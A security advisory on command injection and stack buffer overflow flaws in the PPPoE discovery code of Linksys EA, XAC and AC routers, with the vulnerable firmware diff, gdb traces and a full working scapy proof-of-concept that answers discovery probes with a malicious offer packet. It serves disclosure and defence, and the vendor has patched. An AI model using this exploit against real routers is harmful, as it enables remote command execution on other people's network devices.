SSD Advisory – Linksys PPPoE Multiple Vulnerabilities

Vulnerabilities Summary
The following advisory describes two (2) vulnerabilities found in Linksys EA, XAC and AC series devices.
The vulnerabilities has been found in the way the Linksys devices (EA, XAC and AC series) handle the Point-to-point protocol over Ethernet (PPPoE) Discovery (PPPoED) process allowing an unprivileged active attacker on the same network segment (layer2) to inject arbitrary shell commands by answering PPPoE Active Discovery probe requests (PADI) with a malicious PPPoE Active Discovery Offer (PADO). The exact same code is also vulnerable to a buffer overwrite.
The vulnerabilities are:

  • Command Injection
  • Buffer Overwrite

Credit
An independent security researcher, 0x721427D8, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
Vendor Responses
Linksys has released patches to address this vulnerability.

Vulnerabilities Details
The Linksys wireless-router firmware is based on linux and a set of open-source daemons including Linksys specific modifications to these services. One of these modifications is a series of patches to the ppp package including rp-pppoe (Roaring Penguin) the PPPoE discovery module. One specific patch attempts to extract the DSL Access Concentrator Name (acname) from the PPPoE Active Discovery Offer (see section Details) that is received as a response to the routers PPPoE session initiation attempt.
This value is then stored within the firmware’s environment by executing a shell command sysevent set where is exactly the value taken from the packet. The acname is at no point neither validated nor sanitized therefore allowing any PADO to inject arbitrary shell commands to the Linksys firmware by chaining commands or spawning a subshell ( ; , || , && , $(subcommand), cmd, …)
The exact same patch also introduces a buffer overwrite vulnerability by failing to limit the attacker provided Service-Name length while forming the sysevent command which is stored to a fixed size 256 byte stack buffer cmd. Any acname > 226 bytes will overwrite the stack allocated 256 byte buffer.
Since PPPoE is typically used for dial-up this vulnerability is exploited on the WAN interface and will require PPPoE dialup being configured. Some ISPs (especially DOCSIS ISPs) fail to protect their WAN dialup ethernet segment which might potentially allow an attacker to compromise other vulnerable customer devices if they share the same dialup broadcast domain.
PPP and PPPoE Discovery Protocol
The Point-to-Point protocol (PPP) is used by ISPs to enable dial-up connections to the internet. PPP was originally designed to work with serial connections but can be encapsulated in other data link layer protocols like Ethernet (PPPoE) or Asynchronous Transfer Mode (ATM) (PPPoA or PPPoATM).
PPPoE is a network protocol that encapsulates Point-to-point (PPP) frames in Ethernet frames. PPPoE establishes a point-to-point connection between two Ethernet nodes. In order to initiate a PPPoE session the Ethernet MAC-Address of the preferred peer (e.g. the DSL access concentrator) has to be identified. This process of enumerating and picking an ethernet peer for PPPoE session initiation is called PPPoE discovery:
Step 1: INITIATION – In order to find the MAC Address of the preferred DSL access concentrator (DSL-AC) the client broadcasts a PPPoE Active Discovery Initiation (PADI) packet. The PADI contains MAC address of the initiator and optionally the Service-Name of the DSL-AC the client would like to be connected to as it is possible to have multiple DSL-ACs service different Service-Names on the same segment for PPPoE.

Frame 1: 24 bytes on wire (192 bits), 24 bytes captured (192 bits)
Ethernet II, Src: 20:28:18:a0:a9:d2 (20:28:18:a0:a9:d2), Dst: Broadcast (ff:ff:ff:ff:ff:ff)
PPP-over-Ethernet Discovery
    0001 .... = Version: 1
    .... 0001 = Type: 1
    Code: Active Discovery Initiation (PADI) (0x09)
    Session ID: 0x0000
    Payload Length: 4
    PPPoE Tags

Step 2: OFFER – The DSL-AC replies with a PPPoE Active Discovery Offer (PADO). The reply is sent to the initiated MAC address (taken from PADI) along with the DSL-AC name acname (typically a static name configured by the ISP) and the Service-Name. The initiator might receive multiple PADOs for multiple DSL-ACs if no Service-Name was sent with the initial PADI and it is up to the initiator to accept one of the received offers.

Frame 2: 60 bytes on wire (480 bits), 60 bytes captured (480 bits)
Ethernet II, Src: Unispher_a4:10:be (00:90:1a:a4:10:be), Dst: 20:28:18:a0:a9:d2 (20:28:18:a0:a9:d2)
PPP-over-Ethernet Discovery
    0001 .... = Version: 1
    .... 0001 = Type: 1
    Code: Active Discovery Offer (PADO) (0x07)
    Session ID: 0x0000
    Payload Length: 35
    PPPoE Tags
        AC-Name: r-al121
        AC-Cookie: bebcb53c10b32769a8661c36a45d8720

Step 3: REQUEST – In order to confirm acceptanceof the PADO the initiator sends a PPPoE Active Discovery Request (PADR) providing the Cookie sent along the PADO.

Frame 3: 44 bytes on wire (352 bits), 44 bytes captured (352 bits)
Ethernet II, Src: 20:28:18:a0:a9:d2 (20:28:18:a0:a9:d2), Dst: Unispher_a4:10:be (00:90:1a:a4:10:be)
PPP-over-Ethernet Discovery
    0001 .... = Version: 1
    .... 0001 = Type: 1
    Code: Active Discovery Request (PADR) (0x19)
    Session ID: 0x0000
    Payload Length: 24
    PPPoE Tags
        AC-Cookie: bebcb53c10b32769a8661c36a45d8720

Step 4: CONFIRM – The DSL-AC confirms the request (PADR) by sending a PPPoE Active Discovery Session-confirmation (PADS), a Session-ID is sent along.

Frame 4: 60 bytes on wire (480 bits), 60 bytes captured (480 bits)
Ethernet II, Src: Unispher_a4:10:be (00:90:1a:a4:10:be), Dst: 20:28:18:a0:a9:d2 (20:28:18:a0:a9:d2)
PPP-over-Ethernet Discovery
    0001 .... = Version: 1
    .... 0001 = Type: 1
    Code: Active Discovery Session-confirmation (PADS) (0x65)
    Session ID: 0x18b2
    Payload Length: 4
    PPPoE Tags
/* session established */

Step 5: Termination – In order to terminate the PPPoE session anyon of the two peer can send a PPPoE Active Discovery Termination (PADT).
Vulnerable Code
This report is based on the EA8500 firmware but all the other versions basically share the same firmware code and patchset.
Firmware: EA8500_v1.1.4.171079_SP6.tar.gz
Patchset: EA8500_v1.1.4.171079_SP6.tar.gz\EA8500_v1.1.4.171079_SP6\src\ppp\

    ppp-2.4.4_001_build.patch
    ppp-2.4.4_002_handle_multiple_l2tp_packets.patch
    ppp-2.4.4_003_mru.patch
    ppp-2.4.4_004_rp-pppoe_service_name.patch
    ppp-2.4.4_005_use_servicename_from_pado.patch
    ppp-2.4.4_006_comment.patch
    ppp-2.4.4_007_fix_garbage_servicename.patch
    ppp-2.4.4_008_get_acname_sessionid.patch                //!# <- introduces vulnerabilities
    ppp-2.4.4_009_get_ppp_auth_proto.patch
    ppp-2.4.4_010_ppp_l2tp_plugin.patch
    ppp-2.4.4_011_ppp_pptp_plugin.patch
    ppp-2.4.4_012_chap_msv2_reserved_field.patch
    ppp-2.4.4_013_ppp_clamp_mtu.patch
    ppp-2.4.4_015_ipv6cp_rejected_pppoe_on_demand.patch

Vulnerable file: ppp-2.4.4_008_get_acname_sessionid.patch

diff -Nur pppd-old/pppd/plugins/rp-pppoe/discovery.c pppd-new/pppd/plugins/rp-pppoe/discovery.c
    --- pppd-old/pppd/plugins/rp-pppoe/discovery.c  2012-02-07 18:35:27.000000000 +0800
    +++ pppd-new/pppd/plugins/rp-pppoe/discovery.c  2012-02-13 14:12:00.093953000 +0800
    @@ -114,13 +114,17 @@
         struct PacketCriteria *pc = (struct PacketCriteria *) extra;
         PPPoEConnection *conn = pc->conn;
         int i;
    -
    +   char cmd[256];                                                      //!# 256bytes fixed stack buffer
    +   memset(cmd,0,sizeof(cmd));
         switch(type) {
         case TAG_AC_NAME:
        pc->seenACName = 1;
        if (conn->printACNames) {
            printf("Access-Concentrator: %.*s\n", (int) len, data);
        }
    +   /*add by taliang@cisco.com @13/02 2012 for tr69*/
    +   sprintf(cmd, "sysevent set wan_pppoe_acname %.*s",(int)len, data);  //!# VU#2 stack buffer overwrite sprintf
    +   system(cmd);                                                        //!# VU#1 shell command injection
        if (conn->acName && len == strlen(conn->acName) &&
            !strncmp((char *) data, conn->acName, len)) {
            pc->acNameOK = 1;
    @@ -514,6 +518,8 @@
         PPPoEPacket packet;
         int len;
    +   char cmd[256];
    +   memset(cmd, 0, sizeof(cmd));
         do {
        if (BPF_BUFFER_IS_EMPTY) {
            tv.tv_sec = timeout;
    @@ -569,6 +575,9 @@
         /* Don't bother with ntohs; we'll just end up converting it back... */
         conn->session = packet.session;
    +    /*add by taliang@cisco.com @13/02 2012 for tr69*/
    +    sprintf(cmd, "sysevent set wan_pppoe_session_id %d",(int) ntohs(conn->session));
    +    system(cmd);
         syslog(LOG_INFO, "PPP session is %d", (int) ntohs(conn->session));
  1. A 256 byte stack buffer cmd is allocated to build the shell command that stores the extracted acname for the firmwares environment.
  2. data contains the acname of the attacker controlled PADO packet
  3. sysevent set wan_pppoe_acname and is concatenated and stored in the 256 byte buffer.
  4. VU#2 – sprint(cmd,fmt,arg,…) does not limit the amount of bytes written to cmd and there is no length limitation or any check to prevent a buffer overwrite at this point. Therefore any acname> 226 bytes will write past the 256 byte buffer cmd (mem. corruption, pot. rce)
  5. VU#1 – The concatenated command sysevent set wan_pppoe_acname is being passed to system(cmd). There is no sanitation/input validation. Therefore any acname containing shell operators (;,||,&&,$(subshell),cmd,..) will cause a shell command injection (rce).

Proof of Concept
In order to run the Proof of Concept you should install scapy==2.3.1.
Command Injection
Step 1: run the PoC.py providing the interface to listen on.
Note that the command to be injected is configured in poc.py::ex.start.

#> python poc.py eth0
INFO     - available interfaces:
INFO     -    * lo
INFO     -    * eth0
INFO     -    * eth1
INFO     - sniffing on 'eth0' and trying to inject '`echo 1 > /tmp/inject1` $(touch /tmp/inject2)'
INFO     - waiting for PPPoED PADI...
...

Step 2: run pppoe-discovery # shell injection

ppp-2.4.4#> ./pppd/plugins/rp-pppoe/pppoe-discovery -I eth0 -D debug.log  -U -S lol
Service-Name: lol
Got a cookie: 41
Access-Concentrator: `echo 1 > /tmp/inject1` $(touch /tmp/inject2)
sh: 1: sysevent: not found
--------------------------------------------------
AC-Ethernet-Address: 00:0c:29:aa:aa:aa
ppp-2.4.4#> ls /tmp/inje*
/tmp/inject1
/tmp/inject2

Step 3: poc.py – shows details on the received packet as well as the forged packet with the command injection

...
INFO     - got PPPoED packet, checking if it is a PPPoED PADI
INFO     - PPPoED PADI detected,
###[ PPP over Ethernet Discovery ]###
  version   = 1L
  type      = 1L
  code      = PADI
  sessionid = 0x0
  len       = 15
###[ PPPoE Tag ]###
     tag_type  = Service-Name
     tag_len   = 3
     tag_value = 'lol'
###[ PPPoE Tag ]###
        tag_type  = Host-Uniq
        tag_len   = 4
        tag_value = '\x17\\\x00\x00'
###[ PPPoE Tag ]###
           tag_type  = End-Of-List
           tag_len   = 0
           tag_value = ''
###[ Padding ]###
              load      = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
INFO     - -> PPPoE Tag
INFO     - -> PPPoE Tag
INFO     - got host_uniq: '\x17\\\x00\x00'
INFO     - -> PPPoE Tag
INFO     - -> Padding
INFO     - sending malicious PADO...
###[ Ethernet ]###
  dst       = 00:0c:29:bb:bb:bb
  src       = 00:0c:29:aa:aa:aa
  type      = 0x8863
###[ PPP over Ethernet Discovery ]###
     version   = 1
     type      = 1
     code      = PADO
     sessionid = 0x0
     len       = None
###[ PPPoE Tag ]###
        tag_type  = Service-Name
        tag_len   = None
        tag_value = 'lol'
###[ PPPoE Tag ]###
           tag_type  = Host-Uniq
           tag_len   = None
           tag_value = '\x17\\\x00\x00'
###[ PPPoE Tag ]###
              tag_type  = AC-Cookie
              tag_len   = None
              tag_value = 'A'
###[ PPPoE Tag ]###
                 tag_type  = AC-Name
                 tag_len   = None
                 tag_value = '`echo 1 > /tmp/inject1` $(touch /tmp/inject2)'
###[ PPPoE Tag ]###
                    tag_type  = End-Of-List
                    tag_len   = None
                    tag_value = ''
.
Sent 1 packets.
INFO     - hooray, malicious PADO sent! :) check your target!
False
INFO     - got PPPoED packet, checking if it is a PPPoED PADI

Buffer Overwrite
Step 1: run poc.py with an acname of ‘A’*1420 see poc.py::ex.start()

#> poc.py eth0
INFO     - available interfaces:
INFO     -    * lo
INFO     -    * eth0
INFO     -    * eth1
INFO     - sniffing on 'eth0' and trying to inject 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
INFO     - waiting for PPPoED PADI...
...

Step 2: run pppoe-discovery

#> gdb --args ./pppd/plugins/rp-pppoe/pppoe-discovery -I eth0 -D debug.log  -U -S lol
(gdb) b discovery.c:126
Breakpoint 1 at 0x401508: file discovery.c, line 126.
(gdb) r
Starting program: /root/pppp/ppp/ppp-2.4.4/pppd/plugins/rp-pppoe/pppoe-discovery -I eth0 -D debug.log -U -S lol
       Service-Name: lol
Got a cookie: 41
Access-Concentrator: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, parsePADOTags (type=<optimized out>, len=1400, data=0x7fffffffdedc 'A' <repeats 200 times>..., extra=0x7fffffffde10) at discovery.c:126
126             sprintf(cmd, "sysevent set wan_pppoe_acname %.*s",(int)len, data);
(gdb) bt
#0  parsePADOTags (type=<optimized out>, len=1400, data=0x7fffffffdedc 'A' <repeats 200 times>..., extra=0x7fffffffde10) at discovery.c:126
#1  0x0000000000402899 in parsePacket (packet=0x7fffffffdeb0, func=0x401340 <parsePADOTags>, extra=0x7fffffffde10) at common.c:82
#2  0x0000000000401d3b in waitForPADO (conn=0x605010, timeout=2147482226, timeout@entry=5) at discovery.c:388
#3  0x00000000004023c0 in discovery (conn=conn@entry=0x605010) at discovery.c:629
#4  0x00000000004010d4 in main (argc=8, argv=0x7fffffffe5f8) at pppoe-discovery.c:83

The stack is looking sane so far, lets step over the sprintf:

(gdb) n
127             system(cmd);
(gdb) bt
#0  parsePADOTags (type=<optimized out>, len=1400, data=0x7fffffffdedc 'A' <repeats 200 times>..., extra=0x7fffffffde10) at discovery.c:127
#1  0x4141414141414141 in ?? ()
#2  0x4141414141414141 in ?? ()
#3  0x4141414141414141 in ?? ()
#4  0x4141414141414141 in ?? ()
#5  0x4141414141414141 in ?? ()
#6  0x4141414141414141 in ?? ()
#7  0x4141414141414141 in ?? ()
#8  0x4141414141414141 in ?? ()
#9  0x4141414141414141 in ?? ()
#10 0x4141414141414141 in ?? ()
#11 0x4141414141414141 in ?? ()
#12 0x0000414141414141 in ?? ()
#13 0x000005a800000010 in ?? ()
#14 0x0000000000000004 in ?? ()
#15 0x00000000000f310d in ?? ()
#16 0x0000000000605010 in ?? ()
#17 0x0000000100000001 in ?? ()
#18 0x0000000100000001 in ?? ()
#19 0x00000000004034a6 in ?? ()
#20 0x0000000000000010 in ?? ()
#21 0x0000000000000000 in ?? ()

Because we changed the stack, we overwrite the return ptrs.

(gdb) c
Continuing.
sh: 1: sysevent: not found
Program received signal SIGSEGV, Segmentation fault.
0x00000000004013c1 in parsePADOTags (type=<optimized out>, len=<optimized out>, data=<optimized out>, extra=<optimized out>) at discovery.c:209
209     }

Step 3: run poc.py output

...
INFO     - got PPPoED packet, checking if it is a PPPoED PADI
INFO     - PPPoED PADI detected,
###[ PPP over Ethernet Discovery ]###
  version   = 1L
  type      = 1L
  code      = PADI
  sessionid = 0x0
  len       = 15
###[ PPPoE Tag ]###
     tag_type  = Service-Name
     tag_len   = 3
     tag_value = 'lol'
###[ PPPoE Tag ]###
        tag_type  = Host-Uniq
        tag_len   = 4
        tag_value = '!\\\x00\x00'
###[ PPPoE Tag ]###
           tag_type  = End-Of-List
           tag_len   = 0
           tag_value = ''
###[ Padding ]###
              load      = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
INFO     - -> PPPoE Tag
INFO     - -> PPPoE Tag
INFO     - got host_uniq: '!\\\x00\x00'
INFO     - -> PPPoE Tag
INFO     - -> Padding
INFO     - sending malicious PADO...
###[ Ethernet ]###
  dst       = 00:0c:29:5a:a5:9b
  src       = 00:0c:29:1f:ab:17
  type      = 0x8863
###[ PPP over Ethernet Discovery ]###
     version   = 1
     type      = 1
     code      = PADO
     sessionid = 0x0
     len       = None
###[ PPPoE Tag ]###
        tag_type  = Service-Name
        tag_len   = None
        tag_value = 'lol'
###[ PPPoE Tag ]###
           tag_type  = Host-Uniq
           tag_len   = None
           tag_value = '!\\\x00\x00'
###[ PPPoE Tag ]###
              tag_type  = AC-Cookie
              tag_len   = None
              tag_value = 'A'
###[ PPPoE Tag ]###
                 tag_type  = AC-Name
                 tag_len   = None
                 tag_value = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
###[ PPPoE Tag ]###
                    tag_type  = End-Of-List
                    tag_len   = None
                    tag_value = ''
.
Sent 1 packets.
INFO     - hooray, malicious PADO sent! :) check your target!
False
INFO     - got PPPoED packet, checking if it is a PPPoED PADI

PoC.py

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
import sys
from scapy.all import *
import logging
logger = logging.getLogger(__name__)
# PPPoE Tag definition
class PPPoE_Tag(Packet):
    name = "PPPoE Tag"
    fields_desc = [ ShortEnumField('tag_type', None,
                                   {0x0000: 'End-Of-List',
                                    0x0101: 'Service-Name',
                                    0x0102: 'AC-Name',
                                    0x0103: 'Host-Uniq',
                                    0x0104: 'AC-Cookie',
                                    0x0105: 'Vendor-Specific',
                                    0x0110: 'Relay-Session-Id',
                                    0x0201: 'Service-Name-Error',
                                    0x0202: 'AC-System-Error',
                                    0x0203: 'Generic-Error'}),
                    FieldLenField('tag_len', None, length_of='tag_value', fmt='H'),
                    StrLenField('tag_value', '', length_from=lambda pkt:pkt.tag_len)]
# bind layers for auto-dissection
bind_layers(PPPoED, PPPoE_Tag, type=1)
bind_layers(PPPoE_Tag, Padding, tag_type=0)
bind_layers(PPPoE_Tag, PPPoE_Tag)
class Exploit(object):
    def start(self, iface="eth0", cmd="`echo 1 > /tmp/inject1` $(touch /tmp/inject2)"):
        self.cmd = cmd
        conf.iface = iface
        logger.info("sniffing on %r and trying to inject %r"%(conf.iface, cmd))
        logger.info("waiting for PPPoED PADI...")
        sniff(prn=self.attack, filter="not tcp and not udp")
    def attack(self, pkt):
        if PPPoE_Tag not in pkt or PPPoED not in pkt:
            return
        logger.info("got PPPoED packet, checking if it is a PPPoED PADI")
        if pkt[PPPoED].code!=0x09: #PADI
            return
        logger.info("PPPoED PADI detected, ")
        layer = pkt[PPPoED]
        layer.show()
        host_uniq = ""
        while layer:
            layer = layer.payload
            if not layer:
                break
            logger.info("-> %s"%layer.name)
            if not "PPoE" in layer.name:
                break
            if layer.name=="PPPoE Tag" and layer.tag_type==0x0103: # Host-Uniq
                host_uniq = layer.tag_value
                logger.info("got host_uniq: %r"%host_uniq)
        logger.info("sending malicious PADO...")
        retp = Ether(dst=pkt[Ether].src, src=get_if_hwaddr(conf.iface))/PPPoED(code='PADO')/ \
                  PPPoE_Tag(tag_type='Service-Name',tag_value="lol")/ \
                  PPPoE_Tag(tag_type='Host-Uniq',tag_value=host_uniq)/ \
                  PPPoE_Tag(tag_type="AC-Cookie",tag_value="A")/ \
                  PPPoE_Tag(tag_type='AC-Name',tag_value=self.cmd)/ \
                  PPPoE_Tag(tag_type="End-Of-List",tag_value="")
        retp.show()
        sendp(retp)
        logger.info("hooray, malicious PADO sent! :) check your target!")
        return False
if __name__=="__main__":
    logging.basicConfig(level=logging.DEBUG, format='%(levelname)-8s - %(message)s')
    logger.setLevel(logging.DEBUG)
    logger.info("available interfaces:")
    for i in get_if_list():
        logger.info("   * %s"%i)
    if not len(sys.argv)==2:
        logger.warning("missing cmdline options, check usage")
        print ""
        print "usage: poc.py <iface>"
        sys.exit(1)
    ex = Exploit()
    #ex.start(iface=sys.argv[1], cmd="`echo 1 > /tmp/inject1` $(touch /tmp/inject2)")  # VU1
    ex.start(iface=sys.argv[1], cmd="A"*1420) # VU2